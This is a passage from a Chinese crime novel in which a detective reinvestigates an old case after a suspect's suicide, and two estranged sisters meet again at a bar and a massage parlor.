江岩眯着眼,仔细掂量这几句话,跟此前的记录结合起来,“你看到有人胁迫江黎的同时,有人骑摩托车撞晕了你,撞晕你的那个人是,姜雪峰……”
“如果是这样的话,那他为什么要自首,说是自己伤害了江黎?”
过往的信息在他脑海里快速翻腾,拼凑,“我要再去找一趟姜雪峰。”说着起身。
秋原不知道他想到了什么,不自觉地迈出步子紧跟了上去。
“快,去工地。”江岩打开车门说道。
乔树在驾驶座看着后排上来的秋原,又看了眼副驾驶座上的江岩,没再说什么,发动了车子。
江岩脸色铁青,不好的预感在他心里蔓延。
等他们到了工地,已经晚了。姜雪峰从楼上跳了下来,医护人员忙着抢救,围观了不少人。
“活该啊!”
“就是怎么有脸活着!”
“早就该死了!”
江岩感到从未有过的挫败,姜雪峰用死亡阻断了他的探究,好不容易连起的线,风一吹,又断了。
“江队,你没事吧?”乔树看他脸色不太好。
“没事,你协助出警的民警了解下情况。”
“是”,乔树走向了人群。
16. 黑色飞鸦 12
秋原跟着江岩走到离案发现场较远的地方,太阳的光收敛了些,没那么刺眼,仍旧让人无时无刻感受得到它的存在,炽热无处遁形。
一时之间,两人都如鲠在喉,秋原回头望了一眼人群,把自己的疑惑说了出来,“姜雪峰他,为什么宁愿死,也不肯透漏当年的事?”
江岩摇了摇头。他心里已描绘出大概的轮廓原由,但此时并不能说,而且现在姜雪峰一死,即便有合理的推论,也很难搞清楚背后的人是谁。
“既然已经知道凶手另有其人,现在才是开始。”秋原不怎么会安慰人,说的话也不知合不合适。
“江黎的事既然与你无关,你为什么还要回来追查?”这是他得知当年一直隐藏的细节后便萌生的问题。
过了片刻,秋原才开口,“江黎是因为我才会留下,才会错过放学的时机,才会遇到坏人,她的事,我怎么可能无关,甚至是,”
她顿了一下接着说:“因为我她才会出事……”
没想到她是这么想的。
“看到姜雪峰死了,你一点也不惊讶?”
秋原知道江岩还是对她有所怀疑,“有时候死了,才是解脱,不是吗?”她的眼睛直视着他,两人目光相对,似是在考验谁先退缩。
“江黎出事那天,你被车撞,为什么当时不说?”
“我说过,警察问话的时候我就说了。”
江岩听到这话皱起了眉。
秋原顿了一下接着说:“这里没我什么事,我回去上班了,还有,沈泠这个人,已经不存在了。”
“你,”江岩双手插在裤兜,对着她的背影,“怎么会在橘子酒吧?”
秋原丢下几个字“谋生罢了”就走了。
江岩仔细回味着她所说的话,她跟警察说过撞车的事,档案里相关记录可并没有这回事,她追查这个案子,跟踪姜雪峰,于情于理都说不过去,难道仅仅因为“愧疚”?这真的说得通吗。
他转身望着骚乱的人群,眼前突然出现江黎跳楼的画面,哭喊声,吵闹声,各种杂音,各种混乱,但对于躺着的人而言,一切都已经结束了。
死了的人会思考什么呢,他们的意识他们的记忆全都封锁在了那具失去活力的空壳里,然后承受来自活人的哭诉,检查,被宣告死亡,成为一具尚未腐烂的尸体,或掩埋土下,或化为灰烬。
悲伤和处理后事都是留给活人的,那是死者的怜悯或宽恕吗?要是可以,死亡会不会连那具空壳也一并带走?要是那样的话,人的终点未免太过渺茫,连死亡都无法自证,又怎么证明曾活过,曾存在过。
姜雪峰当场死亡,据调查证实为自杀,在他的席子里,发现了卷着的礼物盒,包裹得格外精细,是他用全部工资买下来的,送给妻子和女儿的礼物,放了许久,直到他有勇气选择死亡,也没敢送出去。
江岩和乔树随民警一同回到分局,薛澜筠接到消息很快赶了过来。
薛澜筠出乎意料地冷静,默默接下了礼盒,打开来,里面有送给她的金项链和戒指,还有送给姜海蓝的一件裙子。
查出患病的时候,结婚戒指和项链什么的都被拿去卖了,那年女儿生日,吵着闹着想要一条公主裙,也没能买给她,再往后,就再也没见过了。
十年她铁了心不去看他,日子倒也转眼即逝,生活中已全无他的音信,再无与他相关的一切,没想到他竟如此野蛮地闯了进来,不给人分毫的拒绝。
还是如此任性不同人商量的“坏人”啊,乔树注意到她脸庞有泪滑过。
“江队,不是有话要问吗?”乔树看着民警送她离开。
“先不问了。”
姜雪峰没有葬礼,没有告别,直接火葬,只薛澜筠一个人出面。她没有告诉姜海蓝,任何有关姜雪峰的消息,那件连衣裙,连同首饰,也都被她压在箱底。
薛澜筠想,他做事总有他的缘故,他是犯了错,旁人谁都可以怨恨他,咒骂他,唯独她不可以,是她的病拖累他至此,纵使再不可饶恕,也有她的原因。
她会等着他,等他改过自新,等他重新再来,一直自己一个人默默地等待着,不论早晚总有一天会等得到他。她想去看他,看他在里面过得怎么样,有没有受欺负,可她又不能去。这期间的岁月,是对他的惩罚,也是对她自己的惩罚。
“这下好了,不用再担心你过得好不好了。”她笑了,泪也流满面。
“澜筠?”
薛澜筠听到声音快速抹了抹脸,回过头才发现是梅阿姨。
“梅阿姨,您怎么来了。”
“有警察找我,关于雪峰的事,我这才知道,这孩子……”
“梅阿姨你不要太伤心,这一切,都是他自找的,旁人怨不得。”薛澜筠扶着梅阿姨。
“话不能这么说,雪峰是个好人,只不过呐……今后的日子还得过,你也不用再等他了,好好过你自己的日子吧!”
殡仪馆外,乔树坐在车上,打开车窗,问车外站着抽烟的人,“你不进去?”
江岩夹着烟的手摆了两下。
“你觉得那位阿姨的话怎么样?”
“什么怎么样?”
乔树又一次佩服,江岩这装傻充愣的水平一顶一,没办法谁让他是领导,耐着性子问:“可信吗?”
江岩又不说话了。
“照梅阿姨所说,姜雪峰说漏嘴,他还撞死过人,这可就有点离谱了,难道是沈泠?”
江岩把烟灭了,上了车,仍未搭话。
“哎……哎你看,那不是姜海蓝吗?还有秋原。”
江岩抬眼,注意到姜海蓝和秋原一前一后,正往殡仪馆走。
姜海蓝看到薛澜筠和梅奶奶,两人正说着话,本打算冲进去一探究竟的心,一下子就被冲散了。
她失魂落魄地往外走,撞到了追上来的秋原。
“你……”不用问,也看得出此时的姜海蓝并不好。
秋原默默跟在她身后,出了殡仪馆,连走了几条街,她才停下来,靠着墙蹲了下来。
“我没有爸爸了……我没有爸爸了……他已经抛弃过我一回了……他就是个混蛋……他再也回不来了……再也不回来了……”
秋原站在一旁,不知如何安慰她,任由她嚎啕大哭。
“十年……怕妈妈伤心,一次都没去看过他,就那一面,我还凶他,骂他
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,他腿脚都不好了,身上还有伤……我最后跟他说的话,还是再也不要见到他……他什么时候这么听话……小时候我哭着不让他走他还是走了,这回他怎么就当真了……”
她嘶声裂肺地哭着,就像当年那个做错事的小女孩,只这一回,没有人会来给她糖吃,哄她开心了。
“抱歉,我以为你母亲告诉了你这件事。”
“不,”姜海蓝眼睛通红,抹了把脸上的泪,“她不会告诉我的……你问我他有没有跟我说之前的事,我只见过他一次,还是凶他的狠话,他什么都没有跟我说过。”
“我知道了,谢谢。”
过了许久,秋原看她情绪稳定下来,便打算离开。
“等等,你现在可以告诉我,为什么这么关心这件事了吧?”姜海蓝站起身来。
要不是这两年秋原又长高了些,已经一米七出头,姜海蓝踩在砖块上,真可以俯视她了。
“当年的受害者小女孩,是我的同班同学,因为我功课不好,老师让她留下来帮我补习,所以才会晚回家……”
“才会碰到我爸爸?”
秋原不知是否可以告诉她她爸爸可能不是凶手,又担心不过是异想天开白给人一番空想,思量之下,还是放弃了,只单单回应了一个“嗯。”
姜海蓝顶着通红的眼睛,郑重地说道,“你有什么要对我说的?多难听都没关系,我听着。”
秋原一开始对她的话不解,看到她的眼神这才明白,摇摇头说:“我没什么要说的了,你是你,姜雪峰是姜雪峰,他做的事与你无关,也不该由你来承担。姜雪峰的事,我也很抱歉,看到现在这么坚强的你,他大概也会放心……”
“这个夏天,是要过去了吧?”姜海蓝含泪笑着来了这么一句。
秋原顺着她的目光,太阳依旧炽热,她也笑了。
“这段时间打扰了,再见。”
望着秋原的背影,姜海蓝的眼泪又止不住地落下,只这一次,只这一次,哭过日子照过。
你还没有给我时间让我来原谅你,你还没有对亏欠的事作出弥补,还没有改过自新重新回来,你错过我多少个生日,多少个家人团聚的日子,多少个我长大的节点,你一声不吭,如同许多年前一样,随随便便就把我们给抛弃了。
你曾扮演的父亲角色,从来都只是个假象吗?你说我是世上最可爱可漂亮的公主,也都只是敷衍的谎言吗?既然如此你干嘛又要再次出现,既然如此你干嘛让自己混成这副模样,冷冰冰地成了一具尸体,是对我和母亲的报复?还是嫌伤害得不够深?
姜海蓝一次又一次抹去脸上的泪,可像是开了泪穴一般怎么都止不住泪流,天气这么热为何蒸发不掉溢出眼眶的泪?她边走边擦,一瞬间又回到多年前父亲离开的那天,她哭着喊着追逐着父亲,最后没有追上,父亲就这么消失了。
甚至最后,还是她亲手把他推向了更远的地方,此时的她有多懊悔,最后跟他说的话,是因为那些话,才让他决定离开吗。但那些话,都是违心的,那不是她的本意,可是,再也,永远也没有机会解释了。
她成了没有父亲的小孩。
她的天塌了。
17. 知了的尸体 01
沈榕和几个朋友一起吃了午饭,几个人嬉笑打闹着从店里出来,个个都画着浓妆,穿着短裙短裤,一齐出现在街上吸引不少路人的注视。
“沈榕!”
身后突然来了这么一声,几个人的步子不约而同地停住了。
“榕儿是叫你呢吧?”沈榕旁边的姑娘想回头看,被她的手一挡,胳膊架在姑娘肩上,“别回头!”
“沈榕你别以为你画个鬼样我就认不出你了!给我站住!”
“哎不行了,姐妹们对不住了先溜了。”沈榕拍了拍两边姑娘的背,说完这句话就开溜了。
喊话的妇女骂骂咧咧追上来,沈榕早不知溜去哪儿了,“这丫头!你们知道她去哪儿吗?”
几个女生纷纷后退散开,摆手的摆手摇头的摇头,“不知道不知道。”
沈榕对这片街区熟悉得很,游刃有余地来往穿梭,跑了足够远才慢下脚步,回头一笑,想追上我,做梦。
突然一个人拍了下她的肩膀。
“操!”沈榕吓得骂出脏话,回头一看是个染着黄毛一身黑衣的男生。
“你想吓死我呀!”说完推了一下他的肩膀越过他走了。
“哎小榕我的错我的错你别走呀。”说着男生追了上来,“怎么了你谁欺负你了你跟我说我去揍到他满地找牙。”
“我妈。”沈榕翻了个白眼没好气地说。
“噢,”男生摸着头瞬间没了气势,“你妈呀,那还是算了吧。你去哪儿呀?”
“要你管!”
沈榕无视身后的人快步走着,到了按摩店的后门直接进去。
“你还知道来啊?几点了你怎么不半夜再来?”铃姐一见沈榕就一肚子气,再加上她身后还跟着一个男生,“这什么人啊你就带到店里?”
沈榕接了杯水,听到男生说:“我是小榕的男朋友。”
喝到嘴里的水差点喷出来,咽下一口才说:“谁我男朋友啊?经我同意了吗?”
男生一急,摆着手解释道:“我,我还在追小榕,现在还不是,快了,快了。”
沈榕朝着他的脑袋扇了一巴掌,“快什么快,别在这儿做什么白日梦,赶紧滚。”
“好,那小榕我改天再来看你。”
“还不快滚!”沈榕没好气地说。
铃姐看着男生弓着腰恭恭敬敬地退了出去,只觉得好笑,“从哪儿认识的这人?”
“高中生,还上着学呢!”
“你祸害祸害老男人就行了,这小嫩草你也不放过啊?”
沈榕嗑着瓜子吐了个皮,义正言辞地说:“呸!是这小崽子缠着老娘好吧?”
铃姐满脸都写着不信,撅着嘴白了她一眼,“那个林凯呢?是你甩了还是他甩了你了?”
“你就不能说点好听的!我两要分了的话我就赖上你哪儿也不走了!”
“小祖宗嘞行了,别在这儿贫嘴了,半天工资先给你扣下。”说完转身去了前面的门店。
“哎哎哎,”沈榕看她走远,才嘟囔道,“老女人!一天就知道钱!”
“哎呦,小榕你来了啊?铃姐还一直念叨你呢!”叶喃喃一进来就脱了胸衣,扔在沈榕坐着的床上,“勒死我了。”
“哼,她是指望我给她赚钱!”
“对了,来了个有钱的主,叨叨一下子就黏上去,跟块狗皮膏药样。”
“那你怎么回来了?”
“我?我又不跟她那么没脸没皮。”
沈榕没绷住笑出了声,“嘁,你是没抢过她吧!”说完起身去凑凑热闹。
“哎我是那种人嘛!别拿我跟她相提并论!我……”
沈榕凑到铃姐身旁看戏一般,“你多跟叨叨学学!看看她是怎么哄男人的!”
沈榕看着叨叨那副谄媚的模样简直要吐了。
“多跟这些有钱的人来往,你才知道钱有多么好。”
“是是是,您说的是。”
按摩店的门被推开,铃姐推了沈榕一把,“去!来客人了。”
叨叨有个客人请她去酒吧玩,铃姐同意后叨叨顺道拉上沈榕同她一起,铃姐到底有些不放心叨叨,便许了两人提前下班。
“怎么去呀?那人都不来接你啊?”沈榕抬头望了一眼西落的太阳,虽已是深秋了,气温也明显降了下来,但穿着高跟鞋徒步走,显然不太愿意尝试。
“我没让张老板来接,省得叶喃喃给我整出幺蛾子。委屈我们榕再走几步咱们前面打车去。”
“这还差不多。”沈榕长叹一口气,勉强答应了。
两人挽着胳膊一起走,叨叨不经意间观察了一下沈榕的神情,说道:“榕,我听说,你妈最近一直在找你?”
“上回气她还不够,一天到晚又找事。”
“上回,你妈找你时说你家里欠了好多钱,是真的吗?”
“一提这事我就气得慌,两人不知道中的什么邪借钱学人家搞投资,最后钱全打水漂了。”
“那现在怎么办?”
“什么怎么办?爱怎么办怎么办,我早跟他们说不要信那些人偏不听,现在倒好,没钱了吧。”
“那这事,你不管管?”
“呵,我管?我才不管呢!”
“我这儿有我这几年攒下的钱,不多但……”
“打住!打住!这事我不会再管的,以前多少回麻烦事拿我开刀,这事我还真管不了,要钱没有,要命贱命一条,卖了倒也好。”
“哎呀行了榕儿,我不说了,走去酒吧玩,那个张老板说的酒吧还挺远的,咱们打车过去,张先生会报销路费哟。”说着晃悠了一下手里的粉色钱包。
“可以啊叨叨,出师了啊!怪不得铃姐都让我跟你学习呢!”
“我还不是你带出来的,你就别取笑我了。”
两人打车到了约定地点,下了车就看到一家名叫“橘子酒吧”的店。
“就这儿?”
“嗯,走。”
两人手牵手走到门口就被拦了下来,“两位首次来还请出示一下身份证。”
“我的,给。”叨叨摸出来随身带的身份证,门口的服务生双手接过仔细看了看,递给旁边的人作登记。
沈榕观察着他们的行为,“哟,想进门还得登记啊?”
那人倒也不恼,神情毫无波澜客客气气地说:“为了客人安全着想,还请您配合。”
沈榕迟疑地摸着口袋,叨叨低声在她耳旁说:“我提醒你带上身份证,你不会没带吧?”
沈榕朝她一笑,“带了。”说完一抬手举到那人面前。
登记后两人才进去,此时已经近八点了,天色已全黑,来酒吧的客人可不少。
“哎榕啊,你身份证怎么大一岁还是两岁啊?”
“我妈给我上户口的时候不知怎么早登记了一年,要不然我还未成年呢!”
“啊呀还好还好,不然没成年不会让进呀!”
沈榕一愣,轻描淡写地来了一句“是嘛。”,随手把身份证收进包里。
叨叨没在意她这句话,一下子酒吧里的人吸引住,“哇哦,这么多人啊,也不知道这里有什么好的,我听说啊好多客人特意来这个酒吧。”
眼尖的她一下子发现了张老板,“哎你看,是张老板。”说着拉着沈榕跑过去。
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张老板和几个朋友一起,除了一个女生剩下的都是男的,看模样也不像是什么坏人,而且都跟沈榕和叨叨接触过,打个招呼喝了两轮酒就玩开了。
“张老板这回可是你输了啊,说好的酒可不许耍赖。”叨叨站起来晃晃悠悠指着张老板。
张老板也是爽快的人,拿起酒杯,一饮而尽。
“好!好酒量!”几个人起哄着。
叨叨喝多了整个人一直傻笑,站地来整个人晃晃悠悠地,说:“我,我去趟厕所。”
“我陪你去。”沈榕话说半截被另外一个男人拦住,“哎,沈小姐,你这不会是喝不了了吧?这杯可是你的。”
“我回来接着喝。”
说话间,叨叨拿着钱包已经去了洗手间,张老板也起身跟了上去。
沈榕好不容易把那个碍事的男人搞定,去洗手间看看叨叨怎么还不回来,在洗手间门口看到趴在一服务员背上的叨叨,两人背对着沈榕,她们对面站着张老板。
“这位客人醉了,还请您尊重些。”
“我带来的人给老子滚开!”张老板扑上来想推开服务员,被她侧身一躲借势按到了墙上。
“客人您也醉了,还请小心点。”说完松开钳制着张老板的手,护着叨叨退了一步。
“叨叨你没事吧?”沈榕走上前扶起叨叨。
沈榕看到服务员的脸,那人正低头看着叨叨,只几秒的功夫,但她却感觉有自己小半生那么长,从头来了一遍的错觉。
沈榕接过瘫软的叨叨,服务员没有看她,迅速转身正视着张老板。
“走我们接着喝。”
“行了你醉了。张老板,叨叨今儿喝多了,没法接着玩了,我就先送她回去了,今晚上的酒谢谢了。”说完扶着叨叨往酒吧门外走,那个服务员都没有回过头。
“哎走什么呀!” 张老板想拦住她们,被服务员迈开步子挡住去路,愣是退了一步。
那位服务员看着沈榕和叨叨上了出租车,这才转身回到酒吧。
“什么人?认识?”麦子唱完了一首歌,从台上下来正好撞见事情经过,吹了声口哨晃过秋原身边,满是好奇地问。
“两小姑娘,喝醉了。”
麦子坐到身旁的高脚蹬上,“看你这角色扮演得上瘾了?姑娘们的护花使者?这是酒吧哎?不是什么温室养什么弱不禁风的花花草草。”
“音弦叫你。”秋原没接他的话茬。
麦子回头看侧台拿着麦的音弦在招手,从高凳上蹦跶下来像个猴子溜走了。
阿姨从追洗手间出来,正好发现了秋原,“秋啊,洗手台上发现了这个,刚那个穿黄色背心的小姑娘落下的,人还在不有朋友啥的捎回去。”
秋原接过阿姨手里的粉色钱包,打开看到了身份证,“好,这个我来办,辛苦您了。”
出租车司机林剑正靠在车门上抽烟,酒吧门开了还以为有客要来了,谁知道原来是秋原。
“秋原啊我说这么早有人醉了。”
秋原礼貌性地浅浅一笑,“林师傅,昨晚上拜托您送回去的两个姑娘,一个喝醉了,您还记着吗?”
“记得记得,两小姑娘,醉了的那个一路上唱歌,没消停一会儿。”
“您还记得把她们送去哪儿了吗?”
林师傅丢了烟头,脚尖转悠着踩了个严实,“我想想啊,那个叫什么,长吉路,长吉路有个按摩店,具体叫什么真不知道,不过就是那个按摩店。”
“按摩店?”
“对,就是那儿,两姑娘下的车。”林师傅还信誓旦旦地点点头。
“好我明白了,谢谢您。”
18. 知了的尸体 02
深秋的午后,室内的温度刚刚好,秋原从噩梦中惊醒,出了一身冷汗,从床上翻到地上,踉跄着走到窗户前拉开窗帘,趴在窗沿上大口呼吸。
温热的空气朝她袭来,让她紧绷的神经慢慢放松下来,她回头眯着眼瞥了一眼墙上的挂钟,一点过半。
收回视线时注意到桌上的一抹粉色,在她整个阴沉的房间基调中显得很是突兀。想了好久,终于还是决定动身。
她简单地收拾了一下,拿上那个粉色钱包和钥匙,出了门。
自行车挤在一楼楼道里差不多好几个月没碰过了,从一堆杂物里把那辆同样破旧的自行车捞出来,擦了擦积满的灰尘。
这车看着不怎么样,破破烂烂的,但至少还是挺好骑的。
要让秋原说她曾干过什么疯狂的事,能排在最前的也许就是大晚上骑着自行车在无人的街道上飞驰,这是她唯一喜欢的事,至少目前来说是这样。
自从姜雪峰出狱以来,她都再没骑过车了。准确来说,姜雪峰的死,使她突然失去了方向,浑浑噩噩地过了几个月。
就好像低着头跟着地上的指标走了好久好久,某一刻地标突然消失了,抬起头连自己在哪儿都不知道。
她不止一次地想,自己可能十多年前就该死了,活下来的只是毫无意义的一副躯壳。她找不到当年的凶手,同样也挽回不了死去的女人。
骑上车,耳边没有风声,汽车鸣笛声说话声各种声音充斥着,大脑一刻都得不到安宁。
一个十字路口绿灯照常通过,刺耳的刹车声震得秋原神经痛,反应过来时已经倒在地上,倾斜的视线中两个人快步走过来,说着什么听不清的话。
“没事吧?”两个陌生人把她扶起来,她机械地重复着“没事”。
秋原骑车走了一段路想到什么,停在路边回过头看,那个路口什么异常都没有,她突然有些怀疑刚刚发生的那一幕究竟是真是假,自己身上,自行车上什么痕迹也没有,她有些质疑自己的记忆,可倒下时看到的倾斜的人和景都是那么真实,她越想脑海中本清晰地景象也越加模糊,真假也愈加浑浊。
沈榕回了趟家拿了几件衣服,好不容易溜出来,坐公交下了车,一脸不快地往按摩店走,看谁都不顺眼。
离按摩店还有一段距离,就看见叨叨和一个人站在门口。
“叨叨!”
“榕啊你来了,你看我钱包找着了!多亏了这个小小姐姐,还特意帮我送回来了!”叨叨蹦跶到沈榕身旁,挽着她的胳膊甚是欢喜。
“叨叨你先回去,我有点事问问她。”
叨叨一脸不解,不过听话照做了。
按摩店门口,两人静静地站立着,注视着对方,秋原眼里的诧异一闪而过,她已经不是以前的沈泠了。
“你没有死?”
秋原只是看着她,并没有说话,脑海中甚至冒出一个奇异的问题,仿佛自己置身事外,为什么眼前的这个人能依旧如此理直气壮?
“为什么回来?”
秋原没有回答她的问题,转而问道,“你怎么知道是我?”
“你不也认出我了吗?”说完这话,两人都陷入了沉默之中,仔细揣摩着对方的微表情,随时准备反击。
沈榕几次想张口把心里的疑问问出来,但看着她那张很是陌生的脸,又不知从何问起。
“我走了。”秋原说完这句话,就转身走了。
“既然走了,”背后的沈榕突然喊道,“就别回来了。”
秋原没有回头,这句话像是一滴水落入水面,几圈涟漪过后,便什么都没有了。
沈榕和叨叨两人出门,并排在街上走着,到了一家饮品店前不约而同地停了下来,“哎你上次跟酒吧那个小姐姐说什么呢?还不让我知道。”
“没说什么。”
“没说什么是什么啊?你们认识啊?”
沈榕付了钱,把找的零钱放回钱包里,“她是沈泠。”
“沈泠!”叨叨这一嗓子还要把人耳膜震破,拐角处迈出的腿又缩了回去。
“你小点声,耳朵要聋了!”沈榕嫌弃地把她脑袋推远点。
“就是,就是你那个姐姐?她竟然在橘子酒吧?”
“我也没想到。”
两人拿了奶茶离开,“哇早知道好好看看那个小姐姐了。”
“大姐您喝什么?”
一妇女站在饮品店门口,望着两人离开的方向,忙摆摆手,“不喝不喝,卖的什么玩意。”
“沈榕!”快到按摩店,妇女追上二人,抓着沈榕的胳膊不放。
“你干嘛干嘛!叨叨你先走。”
叨叨理解了沈榕的眼神,跟阿姨问了声好就先走了,不过她没有进按摩店,而是绕远了一段路去了后门。
“沈榕,你不是不知道家里的情况,爸妈多年的积蓄全都没了,你就这么,不管不顾的?”
“哎哟你先松开松开!”看她没有这个打算,沈榕无可奈何地说:“我不跑不跑!我就在你面前还能往哪儿跑啊!”
妇女将信将疑地松开了手,眼神似要钉在她身上,“让你读书你不读,好好读书明年也就高考了!不听话非要去打工,也没见你拿回来一分钱,现在家里这情况,你不回家一天到晚在外面鬼混什么!”
“行了妈,您不就想从我这儿要钱吗?我有的我能给的,早都给你了,你还想让我怎么着?”
“这几年我就不信你就那么点钱,我见你男朋友呀看着都是有钱人啊!榕呀追债的人都追到家里了,要能有办法当妈的我也不会一天天这么找你呀!就当妈求你了!妈给你跪下刑行不?”说着就要跪下。
两人在路上拉拉扯扯引来不少围观,沈榕叹了口气赶紧扶着她,“您这是干什么!”
妇女眼巴巴地望着沈榕,沈榕私下看了一圈,终于还是拿出了钱包,抽出张卡,“这卡里是我所有的钱了,你们这无底洞我是真填不了了。”
妇女一下子抽过那张卡攥在手心里,试探性地问道:“榕啊,我刚听你们说,沈泠回来了?”
沈榕的心一抽,怎么被她听了去!
“她现在在酒吧上班?我听说酒吧可赚钱了,认识的人还多,没想到这孩子出息了啊!”
不知怎么,沈榕脑海里出现小时候的画面,父亲和母亲在卧室里悄悄说话。
“算了别找了!要真找着了有个什么病呀什么不得花钱啊!警察都说什么,生还几率不大,还浪费钱啊啥的寻个什么意思啊!”
“要是还活着呢?”
“活什么活啊!她又不会水,书包都找着了,人早不知道冲哪儿去了。”
沈榕回过神,厉声说:“你听茬了吧?我没说什么沈泠,她不都死了多少年了,妈是你太想她了才听错了。”
妇女憋着笑,撇着嘴抬眼看她的眼神满是自信,“沈泠的名字我会听错?我知道那个什么橘子酒吧,你说说你这孩子见着姐姐了也不跟家里说一声!行了妈去取钱了再晚银行关门了!”说完摆着手小碎步走远了。
沈
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泠气愤地冲着树干踢了一脚,眼前的那棵大树纹丝不动。
“上头指示,有个案子需要我们协助一下。”乔如意拿着文件走进来,正翻看着,“详细信息晚点送过来……”
“姜雪峰死之前,最后还见过其他人。”
冷不丁听他这么来了一句,乔如意蹙眉放下手里的文件,“怎么这么说?”
江岩半躺在椅子上,双脚搭在桌子边缘,眼睛定定地看着某一处,慢条斯理地说道:“你还记得工友说,那天中午姜雪峰出去过一段时间。”
“他每天都一个人出去吃饭。”
江岩摇摇头,眼神虽已放空,大脑却在快速拼凑信息碎片,“附近没什么店铺,他常吃的那家店的老板娘当时也说他跟平时一样独自到店里,点了份面吃完再离开,时间上没有太大误差。”
“这并不能证明他跟其他人接触过。”
“不对,有个工人无意中说,没人注意到那天中午他什么时候回来,直到开工前工头到了催他麻利点。”
“然后呢?”
“平时午饭时间,他回来工人们都还没午休,也就是说他那天回来得比平常晚。”
“有可能他吃饱了一路上溜溜弯,抽根烟。”
江岩摇头否定了他的假设,“姜雪峰出狱后虽然没有回到妻儿身边,但他找了工作,攒钱买了礼物,很大程度上说明他是打算认真生活下去,没理由突然自杀,除非遇到了意料之外的人或事。”
“未必,”乔树斩钉截铁地说道,“出狱后他身体状况糟糕,与世隔绝已久,无法回到之前的社交圈子,再加上他坐牢的事在工地上传开,有形无形的压力都足以成为摧毁他的最后一根稻草。”
江岩并没有听进去乔树所说,自顾自接着说:“假设秋原说的是真的,姜雪峰以为自己撞死了人恐惧之下跑了,与此同时,真正的□□犯出现目击到车祸现场,作案后花点心思也可以找到姜雪峰,让他替自己顶罪,并支付他妻子的手术费,如果是你,你会怎么做?”
“收钱顶罪。”
“对,姜雪峰很爱他妻子,为了给她治病四处筹钱,同时他性格……”江岩突然很激动,站起来走来走去,紧接着又推翻了自己的假设,“不对,姜雪峰的行为可以理解,但如果□□犯知道车祸的话,当时为何不先除掉沈泠?沈泠活着一切都有翻盘的可能。”
“难道他也以为沈泠当场死了?”
“不会,他既然能找到姜雪峰,自然能找到沈泠,更何况一个小学生死没死在当时……”
“沈泠不是没多久就掉河里了吗?也许是在他行动前沈泠就出事了。”
“第二天姜雪峰就自首了,但事发一周沈泠才出的事,时间上说不通。”
“你是想证明,姜雪峰自杀那天见的是真正的犯人?”
江岩点点头,神色凝重。
“为何?姜雪峰既然乖乖服刑十年,加上他出狱后的表现,担心他翻供?基本上没可能,凶手又为何堂而皇之地再次出现?逼死姜雪峰?没必要的,还有可能爆露自己。”
江岩倒也不是不明白他说的,基于目前的他们掌握的证据,确实说不通,但他不觉得是自己想多了,冥冥之中,他越来越觉得有那么一个人隐藏在他周围,看不清真面目。
“我不排除你假设的可能性,”乔如意松了口,“但目前缺乏证据,你说的站不住脚。眼下还是先把这个人抓住了再说。”
“这什么?”江岩接过文件,翻开第一页,“李立伸?这谁啊?”
19. 知了的尸体 03
沈榕翘了班在理发店染头发,这时,一男子推门进来递给她一杯饮料,她的神情瞬间变得柔和娇媚。
“谢谢亲爱的,你说这两个颜色哪个好看?”她竖起来手里的色板,语调里满是撒娇的意味。
男子捏了捏沈泠的脸,大手能包裹住她半张脸,紧接着,他坐在旁边的椅子上,露出的半截手臂纹着纹身,不冷不淡地说:“都好看。”
“我也觉得都好看,哪个趁我好看啊,这个吧,我还是喜欢这个,Tony老师,我选好了,对了亲爱的,我看上一件衣服,特别好看,你不是说晚上带我吃饭嘛,我都没有合适的衣服。”
“买,你喜欢咱就买。”
“榕啊,你怎么那么开心?这衣服谁买的?”叨叨吹着头发,吹风机的噪音很大惹得人心烦。
沈榕试着衣服,在穿衣镜前扭个不停,表现得不经意地说道:“林凯买的,好看吗?”
“之前来店里的那个林凯?你什么时候又换男朋友了?”
“有钱不就行了。我又不能回家,不找个男人怎么活啊?再说了,男人的钱不就是让女人花的吗?”
“你在这儿跟我住啊?”
沈榕从她手里接过吹风机,细心地给她吹头发,撇撇嘴说道:“想想还是不了。”
“我这儿也就乱那么一点小那么一点嘛看你嫌弃的!你换男朋友我没什么意见,可你要看好人怎么样,好男人的钱倒是可以花一花,坏男人的钱我可不敢花!”
沈榕扯了一下她的头发,引得她一声尖叫,“好男人的钱会让你花啊!”
“对了榕,今天发工资啦!晚上去哪儿吃一顿?”叨叨脱下上衣露着白净的背,尚未全干的头发散落下来挡住了白花花的背。
“我晚上跟林凯吃饭,改天吧。”沈榕对着镜子描口红。
叨叨衣服穿了一半回头看她,沈榕从镜子里看到了她的表情,“你这是吃着苍蝇了?”
只见叨叨凑过来趴在桌上,神经兮兮地说:“我总觉得那个林凯可吓人了,你真喜欢他啊?”
“呵,”沈榕白了她一眼,“管他喜不喜欢,有钱不就行了。”
“嗯也对!”叨叨郑重其事地点点头,这副憨傻的模样惹得沈榕忍不住发笑。
晚饭,沈榕和林凯还有几个他的朋友坐了一桌,沈榕穿了那件新买的连衣裙,化了浓妆,整个人格外耀眼,几个人争先恐后地想要敬酒搭话。
林凯的朋友中,沈榕只见过一两个,不过按照她一贯社交的宗旨,这些都不是事。
饭吃了一半,这些人让沈榕喝了不少酒,不过她也不是吃素的,除了让对方喝下的,愣是让林凯替了好多杯。
借口去洗手间,沈榕喘了口气,对着镜子里穿着优雅性感的自己,她自己都能笑出来,简单补了个妆,出来时看到有个年轻的小哥对着林凯耳朵说了什么,然后那人就出去了。
等她回来刚一落座,林凯就提议去酒吧。
“我还没吃好呢!”
“宝贝听话,”他贴着沈榕的脸,亲昵地说道。
其他几个人见状纷纷起身,“好啊走酒吧跳舞去啊!”
几个人往附近的一处酒吧走,沈榕注意到林凯不时观察身后的人,但她回头看又没有发现有人。
一进酒吧门,就被蜂拥的人群冲散了,林凯拉着沈榕的手快步穿过人群。
这家酒吧连接隔壁的餐馆,只一道隐蔽的门隔开,两人跑到餐馆,只见是走廊。
“怎么了?”沈榕焦急地问道。
“别说话跟我走。”林凯此时的眼神让沈榕突然想到叨叨说的话,令人恐惧的眼神,她不敢多说什么,只得被拉着快速躲藏。
两人出了餐馆后门,林凯远远地看到街头有路过的人影,他拉着沈榕往反方向跑去,拐进了一小巷里。这里的路错综复杂,沈榕被拖着走头都晃晕了,到了一拐角处,他发现正在修缮的房屋旁有一堆铁管,捡起其中一根握了握。
“你干什么?不打算跑了?”
林凯咧着嘴笑了,望着空气的眼睛炯炯有神,“防身。”
沈榕这时才意识到叨叨说的令人害怕,到底是什么意思,她双腿发软,几乎是被他拖着走的。
小巷一路口前十几步的距离,林凯放慢了脚步,沈榕紧张得连呼吸都快屏住了。
